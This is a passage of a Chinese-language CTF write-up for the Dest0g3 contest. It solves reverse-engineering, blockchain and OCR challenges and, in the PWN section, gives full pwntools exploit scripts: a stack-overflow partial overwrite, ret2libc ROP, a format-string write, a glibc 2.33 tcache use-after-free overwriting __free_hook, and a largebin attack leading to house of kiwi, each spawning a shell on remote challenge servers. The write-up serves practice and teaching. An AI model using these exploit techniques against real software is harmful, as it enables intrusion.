	if (!FormatChecker(text))
	{
		err();
	}
	string s = text.Replace("-", string.Empty);
	byte[] second = Checker.Encrypt2(Checker.Encrypt1(Encoding.ASCII.GetBytes(s)));
	if (new byte[32]
	{
		218, 49, 230, 35, 65, 168, 134, 53, 233, 62,
		212, 208, 127, 224, 63, 164, 36, 88, 65, 138,
		118, 255, 107, 22, 16, 239, 61, 58, 130, 101,
		227, 109
	}.SequenceEqual(second))
	{
		Console.WriteLine("right!");
		Console.WriteLine("Your flag is Dest0g3{" + text + "}");
	}
	else
	{
		err();
	}
	static void err()
	{
		Console.WriteLine("err!");
		Environment.Exit(1);
	}
	static bool FormatChecker(string input)
	{
		Guid result;
		return Guid.TryParse(input, out result);
	}
}

public static byte[] Encrypt1(byte[] a)
{
	List<byte> list = new List<byte>();
	for (int i = 0; i < 8; i++)
	{
		uint value = (uint)((ulong)((long)utils.Unpack32(a[(4 * i)..(4 * (i + 1))]) * 83987L) % 4062393413uL);
		list.AddRange(BitConverter.GetBytes(value));
	}
	return list.ToArray();
}

public static byte[] Encrypt2(byte[] a)
{
	List<byte> list = new List<byte>();
	for (int i = 0; i < 4; i++)
	{
		ulong num = utils.Unpack64(a[(8 * i)..(8 * (i + 1))]);
		ulong value = num ^ (num >> 25);
		list.AddRange(BitConverter.GetBytes(value));
	}
	return list.ToArray();
}

输入字符串先经 Encrypt1() 以32位形式4位一组做乘法取模运算，再经 Encrypt2() 以64位形式8位一组做xorshift运算，逐步还原：

from Crypto.Util.number import *

c = [218, 49, 230, 35, 65, 168, 134, 53, 233, 62, 212, 208, 127, 224, 63, 164, 36, 88, 65, 138, 118, 255, 107, 22, 16, 239, 61, 58, 130, 101, 227, 109]

c1 = [bytes_to_long(bytes(c[8*i:8*(i+1)])[::-1]) for i in range(4)]

def invert_right(m,l):
    length = 64
    mx = (1 << 64) - 1
    i,res = 0,0
    while i * l < length:
        mask = (mx << (length - l) & mx) >> i * l
        tmp = m & mask
        m = m ^ tmp >> l & mx
        res += tmp
        i += 1
    return res

c2 = [invert_right(c1[i], 25) for i in range(4)]

c3 = []
for i in range(4):
    c3 += list(long_to_bytes(c2[i]))[::-1]

c4 = [bytes_to_long(bytes(c3[4*i:4*(i+1)])[::-1]) for i in range(8)]

c4 = [(k*inverse(83987,4062393413))%4062393413 for k in c4]

c5 = []
for i in range(8):
    c5 += list(long_to_bytes(c4[i]))[::-1]
print(bytes(c5))

# b'28956fc4c54045a8808d42a5fab4b5f8'

PWN

ez_aarch

主要代码：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sub_8EC();
  func();
  return 0;
}
__int64 func()
{
  puts("It's just a easy stack overflow.");
  return fun2();
}
__int64 fun2()
{
  char buf; // [xsp+10h] [xbp+10h] BYREF
 
  puts("Please leave your name:");
  read(0, &buf, 0x30uLL);
  return puts("OK, you can exploit it now.");
}
__int64 backdoor()
{
  puts("OK, you get it !");
  return system("/bin/sh");
}

arm的aarch64架构，开了PIE，与后门地址比较发现只有后1个字节不同，把返回地址的尾1字节改为后门地址尾1字节，简单栈溢出：

from pwn import *

r = remote('node4.buuoj.cn', 26257)

r.recvline()
r.send('a'*(0x30-0x08) + '\x3c')

r.interactive()

ez_pwn

主要代码：

int hackme()
{
  int v1[10]; // [esp+4h] [ebp-44h] BYREF
  unsigned int v2; // [esp+2Ch] [ebp-1Ch] BYREF
  int v3; // [esp+30h] [ebp-18h] BYREF
  unsigned int v4; // [esp+34h] [ebp-14h]
  unsigned int i; // [esp+38h] [ebp-10h]
  unsigned int v6; // [esp+3Ch] [ebp-Ch]
 
  v6 = 0;
  v4 = 0;
  puts("input the length of array:");
  __isoc99_scanf("%d", &v2);
  if ( (int)abs32(v2) > 10 )
  {
    puts("array is too long!");
    exit(0);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      puts("\n\n----------------------------------------------------");
      puts("choice:\n1.add num\n2.get sum\n3.get avg\n4.exit");
      puts("----------------------------------------------------\n");
      puts("input your choice:");
      __isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      if ( v4 )
        printf("avg = %d\n", v6 / v4);
      else
        puts("no avg!\n");
    }
    if ( v3 > 3 )
      break;
    if ( v3 == 1 )
    {
      if ( v4 >= v2 )
      {
        puts("array is too long!");
        exit(0);
      }
      puts("input num");
      __isoc99_scanf("%d", &v1[v4++]);
    }
    else
    {
      if ( v3 != 2 )
        break;
      v6 = 0;
      for ( i = 0; v4 > i; ++i )
        v6 += v1[i];
      printf("sum = %d\n", v6);
    }
  }
  puts("exit!");
  return 0;
}

开始的 scanf 处未检查输入，读入负数可致负溢出，再结合写入数据的第二个 scanf，可以越栈一直写，最后利用ROP修改返回地址，第一次ROP求libc基地址，第二次ROP可getshell：

from pwn import *

r = remote('node4.buuoj.cn', 28547)
elf = ELF('./ez_pwn')

def add(n):
    r.sendlineafter('input your choice:', '1')
    r.sendlineafter('input num', str(n))

puts_plt = elf.plt.puts
puts_got = elf.got.puts
hackme_addr = elf.sym.hackme

r.recvuntil('length of array:')
r.sendline('-2147483648')
for i in range(10):
    add(1)
add(1000)
add(1)
add(17)

add(puts_plt)
add(hackme_addr)
add(puts_got)
r.sendlineafter('input your choice:', '4')
r.recvuntil('exit!\n')

puts_addr = u32(r.recv(4))
libc_base = puts_addr - 0x67560
system_addr = libc_base + 0x3cf10
binsh_addr = libc_base + 0x17b9db

r.recvuntil('length of array:')
r.sendline('-2147483648')
for i in range(10):
    add(1)
add(1000)
add(1)
add(17)

add(signed(system_addr))
add(hackme_addr)
add(signed(binsh_addr))
r.sendlineafter('input your choice:', '4')

r.interactive()

dest_love

主要代码：

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 i; // [rsp+0h] [rbp-10h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  for ( i = 0LL; i <= 5; ++i )
  {
    puts("What about your love to Dest0g3?");
    read(0, format, 0x40uLL);
    printf(format);
  }
  if ( dword_4010 == 1314520 )
  {
    puts("I can feel your love!");
    system("/bin/sh");
  }
  else
  {
    puts("Your dont love Dest0g3 at all!");
  }
  return 0LL;
}

格式化字符串漏洞，需要改写值的串在bss段里。

from pwn import *

r = remote('node4.buuoj.cn',29044)
e = ELF('./pwn')

r.sendafter(b'What about your love to Dest0g3?\n',b'aaa')
r.sendafter(b'What about your love to Dest0g3?\n',b'aaa')

r.sendafter(b'What about your love to Dest0g3?\n',b'%12$p%10$p')
base = int(r.recv(14),16) - 0x1185
stack = int(r.recv(14),16) - 0xd8
print(hex(stack))

r.sendafter(b'What about your love to Dest0g3?\n','%{}c%10$hn'.format(stack % 0x10000))

target = base + 0x4010
r.sendafter(b'What about your love to Dest0g3?\n','%{}c%39$hn'.format(target % 0x10000))

r.sendafter(b'What about your love to Dest0g3?\n','%1314520c%12$n')

r.interactive()

ezuaf

主要代码：

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-114h]

  sub_11C5(a1, a2, a3);
  while ( 1 )
  {
    menu();
    v3 = read_n();
    switch ( v3 )
    {
      case 1:
        add();
        break;
      case 2:
        edit();
        break;
      case 3:
        delete();
        break;
      case 4:
        show();
        break;
      default:
        puts("Invaild Choice!");
        break;
    }
  }
}

void delete()
{
  signed int v0; // [rsp+Ch] [rbp-4h]

  puts("Please tell me the index: ");
  v0 = read_n();
  if ( *((_QWORD *)&unk_40C0 + v0) && (unsigned int)v0 <= 0xF )
    free(*((void **)&unk_40C0 + v0));
  else
    puts("Invalid Index!");
}

高版本（2.33）的UAF漏洞利用，在tcache里写入__free_hook，再写入system。

from pwn import *

r = remote('node4.buuoj.cn',26427)
libc = ELF('./libc-2.33.so')

def add(size,content):
    r.sendlineafter('4. show\n: ','1')
    r.sendlineafter('Please tell me its size: ',str(size))
    r.sendafter('Content: ',content)
    
def edit(idx,content):
    r.sendlineafter('4. show\n: ','2')
    r.sendlineafter('Please tell me the index: ',str(idx))
    r.sendafter('Please tell me its content: ',content)

def delete(idx):
    r.sendlineafter('4. show\n: ','3')
    r.sendlineafter('Please tell me the index: ',str(idx))
    
def show(idx):
    r.sendlineafter('4. show\n: ','4')
    r.sendlineafter('Please tell me the index: \n',str(idx))

add(0x7f,'a')
add(0x40,'a')
add(0x40,'a')
add(0x50,'/bin/sh')

for i in range(7):
    delete(0)
    edit(0,p64(0)*2+'\n')
    
delete(0)
show(0)
libc_base = u64(r.recv(6).ljust(8,'\x00'))-0x1e0c00
#print(hex(libc_base))

delete(2)
show(2)
heap_addr1 = ((u64(r.recv(8)) << 12) % (2**64)) + 0x380
#print(hex(heap_addr1))

delete(1)
show(1)
free_hook = libc_base + libc.sym.__free_hook
#print(hex(free_hook))
heap_addr2 = (((u64(r.recv(8)) ^ heap_addr1) << 12) % (2**64)) + 0x330
#print(hex(heap_addr2))

next = ((heap_addr2 >> 12) % (2**64)) ^ free_hook
edit(1,p64(next)+'\n')
add(0x40,'a')
system_addr = libc_base + libc.sym.system
#print(hex(system_addr))
add(0x40,p64(system_addr))
delete(3)

r.interactive()

emma

主要代码：

void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
  int v3; // eax

  init_0();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read_n();
      if ( v3 != 4 )
        break;
      delete(a1, a2);
    }
    if ( v3 > 4 )
    {
LABEL_12:
      a1 = "Invaild Choice!";
      puts("Invaild Choice!");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          show(a1, a2);
          break;
        case 1:
          add(a1, a2);
          break;
        case 2:
          edit(a1, a2);
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

void add()
{
  int v0; // eax
  int v1; // eax
  int v2; // [rsp+0h] [rbp-10h]
  int v3; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  puts("Index: ");
  read_n();
  v2 = v0;
  puts("Size: ");
  read_n();
  v3 = v1;
  if ( v1 > 1047 && v1 <= 4096 )
  {
    buf = malloc(v1);
    puts("Content");
    read(0, buf, v3);
    qword_4060[v2] = buf;
    dword_40E0[v2] = v3;
  }
}

ssize_t edit()
{
  int v0; // eax
  ssize_t result; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Index: ");
  read_n();
  v2 = v0;
  result = qword_4060[v0];
  if ( result )
  {
    puts("Content");
    return read(0, (void *)qword_4060[v2], (int)dword_40E0[v2]);
  }
  return result;
}

int show()
{
  int v0; // eax
  __int64 v1; // rax
  int v3; // [rsp+Ch] [rbp-4h]

  puts("Index: ");
  read_n();
  v3 = v0;
  v1 = qword_4060[v0];
  if ( v1 )
    LODWORD(v1) = puts((const char *)qword_4060[v3]);
  return v1;
}

void delete()
{
  int v0; // eax

  puts("Index: ");
  read_n();
  if ( *((_QWORD *)&qword_4060 + v0) )
    free(*((void **)&qword_4060 + v0));
}

同样是高版本（2.33）的UAF，最小申请0x417大小的chunk；

先用负idx修改stderr指针，再利用LargeBin Attack修改__pointer_chk_guard，伪造stderr修改vtable，最后改topchunk触发house of kiwi。

from pwn import *
context(os='linux',arch='amd64')
context.log_level = 'debug'

r = remote('node4.buuoj.cn','25443')
elf = ELF('./pwn')   
libc = ELF('libc-2.33.so') 

def add(idx,size,data):
    r.sendlineafter('>>','1')
    r.sendlineafter('Index:',str(idx))
    r.sendlineafter('Size:',str(size))
    r.sendlineafter('Content',data)

def edit(idx,data):
    r.sendlineafter('>>','2')
    r.sendlineafter('Index:',str(idx))
    r.sendafter('Content',data)

def show(idx):
    r.sendlineafter('>>','3')
    r.sendlineafter('Index:',str(idx))

def delete(idx):
    r.sendlineafter('>>','4')
    r.sendlineafter('Index:',str(idx))

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)

add(0,0x460,'a'*0x40 + p64(0)*4 + 'cat flag')
add(1,0x420,'b'*0x40)
add(2,0x440,'c'*0x40)
add(3,0x420,'d'*0x40)

delete(0)
edit(0,'\x01')
show(0)
libc_base = (u64(r.recvuntil('\x7f').ljust(8,'\x00')) >> 16) - libc.sym.__malloc_hook - 0x71
print(hex(libc_base))

edit(0,'\x00')
add(4,0x470,'e'*0x40)
delete(2)
edit(0,'a'*0x10)
show(0)
r.recvuntil('a'*0x10)
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print(hex(heap_addr))

heap_base = heap_addr - 0x290
global_max_fast = libc_base + 0x1e3e78
stderr_chain = libc_base + 0x1e1648
__pointer_chk_guard = libc_base + 0x1ed5b0
print(hex(__pointer_chk_guard))

edit(0,p64(libc_base+0x1e1000)*2 + p64(heap_addr) + p64(__pointer_chk_guard-0x20) + '\n')
add(5,0x480,'f'*0x40) 

target = libc_base + libc.sym.system
io_cookie_jumps = libc_base + 0x1e1a20

fake_IO_FILE = p64(0x00000000fbad2087)+3 * p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0xffffffffffffffff) 
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)*4
fake_IO_FILE += p64(0) 
fake_IO_FILE += p64(0)*3
fake_IO_FILE += p64(libc_base + 0x1e3660) 
fake_IO_FILE += p64(0)*7
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(io_cookie_jumps + 0x40)
fake_IO_FILE += p64(heap_base + 0x300)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(target ^ (heap_base+0xb30),0x11))

add(-4,0x500,fake_IO_FILE)
add(6,0x700,'6'*0x40)
delete(6)
add(7,0x500,'7'*0x40)
edit(6,'a'*0x508+p64(0x300))
add(8,0xff0,'8'*0x40)

r.interactive()

BLOCKCHAIN

Where the flag？

contract find{
    uint96 private a=7855;
    address private owner=msg.sender;
    bool private f=false;
    bool private t=true;
    string[] private flag=[flag1,flag2];
}

//https://ropsten.etherscan.io/address/0x78f2b5695e5e6e51fc0fd6d7e0caaa05190af9cc

应该是非预期，访问url进入合约，在交易0x2a00af3b2a2a939c491359e7960cbcbda6bdb4d45294fbb8d857100cbfb700e1的InputData里，可以查看到Hex数据，转字符串可得到flag两截字符串：Dest0g3{0n1y_u5e_priv4t3_i，5_n0t_s4f3_1n_B1okCh4in!}。

Easy predict

contract storageplace{
     mapping(uint=>string)private _flag;
     address owner;
     constructor()public{     
     owner=msg.sender;
    }
    function flag() public view returns(string memory)
    {
        require(msg.sender==owner);
    }
    function buy(uint number) public returns(bytes1){
        require(msg.sender==owner);
    }
}

contract question{
    
    mapping(address=>bool)public regeister;
    
    mapping(address=>uint)private seed;
    
    uint constant Price_Per_Char=10 ether;
    
    address owner;
    
    storageplace immutable Flag;

    constructor() public {
        owner=msg.sender;
        
        storageplace _Flag = new storageplace();
        
        Flag = _Flag;
    }
    
    modifier isowner(){
        require(msg.sender==owner,"I think you are not the rignt person");
        _;
    }
    
    function addRight(address tar)public isowner{
         regeister[tar]=true;
    }
    
    function removeRight(address tar)public isowner{
         regeister[tar]=false;
    }
    
    function regeist() public {
        require(regeister[msg.sender]==false);
        regeister[msg.sender]=true;
        seed[msg.sender]=block.number+1;
    }
    
    function buyflag(uint want) public payable returns(bytes1){
        require(msg.value==Price_Per_Char,"is not free");
        return Flag.buy(want);
    }
    
    function query(bytes32 answer) public view returns(string memory)
    {
        require(regeister[msg.sender]);
        require(block.number >seed[msg.sender],"too early");
        bytes32 result = blockhash(seed[msg.sender]);
        require(answer==result,"wrong answer");
        return Flag.flag();
    }
    
    function withdraw() public payable{
        require(msg.sender==owner);
        msg.sender.transfer(address(this).balance);
    }

}

https://ropsten.etherscan.io/tx/0xd994796e78b5f5ff0d0f0738c29dbce8db0e8b32132cd0e6a10b24fa79b48925

也是非预期，访问url进入交易0xd994796e78b5f5ff0d0f0738c29dbce8db0e8b32132cd0e6a10b24fa79b48925，在InputData里，可以查看到Hex数据，转字符串可得到flag五截字符串：Dest0g3{t，_sup3r_e3，hi5_1s_4，ea5y_p，_r1ght?}，按英文字面意思拼接，得：Dest0g3{thi5_1s_4_sup3r_e3ea5y_pe1d1ct_r1ght?}。

AI

OCR

OCR is very useful in ctf！

更像Misc的AI题，png图片扭曲，应该宽度不对，CRC值爆破宽高：

import binascii
import struct
import sys

fr = open('flag_pic.png','rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])

n = 4095
for w in range(n):
    width = bytearray(struct.pack('>i', w))
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
        crc32result = binascii.crc32(data) & 0xffffffff
        if crc32result == crc32key:
            print(width,height)
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open('flag2.png','wb')
            fw.write(newpic)
            fw.close
            sys.exit()

得到正常图片：

flag2

找个在线OCR识别图里字符，得到的结果有部分字符不正确，手动修正，得到：

377ABCAF271C000451FCF397500200000000000062000000000000001D9C97C8E004D002485D0022
194A676D2FDE351A055c168F9710364AE2D581126E378F3B4c47E15E2E80B74234B849430A221F40
C086E06B24ADAAC47F32CB62CADD154B50723E65E50CDF99CC2B953916AD2204D70C15FB493BD4C2
E1F93902FB3563190ACEE58CC01621BB2AAAB6EED8CE892FEF5F0927E2C4BCD7C188277D09D03579
95A2FB65D31CD99c853D7BAF52EAD8555920D1672B4A3B713917E98FB324AD225A3FA2AFAC1435FF
E31ED0C0CEF0CA0B68C0CCCA81C458680D7C75139429D282984933F7ACFDFB127321D9F4EFC0FEAA
E92F985D3C457E90AFBC4DA9D11B23E507A0953036A2EC1D75D69CD1F6A9F0790B1AB02D6C2AFFDF
66A2E7E56A1070FBCD316813E12DF9E26FC4813D419792A65960D4D97EDFA7A978A0385C04CF36EF
DE3B07DF9B9405253EAA838149910F2571FAA4A8E085D1567C5C17C9B3400F91FBFE6B47E052BA07
097C9D77803D3A45E3477FE324603179C7CA6A128CDC0F7E834812618AD4C79934226637E9300C55
95E355139A2ECF661A5F63750A6A0035ACF52417AF3A1C1FEA14471D074c27F81c719D98717F4ECD
32918BD15C18AB93769E94DDEFD3B6FAF4DDD6628BA44BDEF574FCCD5589334EA8063D7B27A2F060
0FC864D010A7F0CEC9B9395434878D01943887194342F9D34FC8F12DD4556ED5A5A36667F9319A03
95DB9A445B94C44771B406F962B1CFC8535BA0D3EE3DDDEB876C95092AAB192B168A732F3A7B9E81
56c403c583983F5527A0D6c5D6928481D56955474046D9FC17A2DE21F3D6FC4c69644E7c6A141BE9
48A417A33D62C6FF6DFAC702A0FC101748D9A9C64A6A0000010406000109825000070B0100012121
01000C84D100080A0196EAFE6000000501190A000000000000000000001119004400650073007400
3000670033002E00740078007400000019020000140A0100B547E05F6654D8011506010020000000
000000

以Hex保存为7z压缩包文件，解压得到 RGVzdDBnM3szNDUxMjA5OC0zMzA5LTc3MTItODg2NS03ODM0NjAyMjE2NDd9，base64解码即flag：Dest0g3{34512098-3309-7712-8865-783460221647}。